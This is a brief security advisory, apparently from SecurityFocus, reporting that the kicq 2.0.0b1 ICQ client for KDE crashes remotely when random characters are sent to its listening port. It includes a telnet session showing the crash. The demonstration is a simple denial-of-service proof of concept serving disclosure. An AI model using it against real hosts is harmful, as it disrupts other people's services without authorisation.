source: https://www.securityfocus.com/bid/4018/info kicq 2.0.0b1 is an ICQ client for the K Desktop Environment (KDE). kicq can be crashed remotely by initiating a telnet connection to a port it is listening on and sending "random" characters. This does not affect other components of the system, only the ICQ client. bash-2.05$ telnet 10.0.0.1 1030 Trying 10.0.0.1... Connected to 10.0.0.1. Escape character is '^]'. garbage Connection closed by foreign host.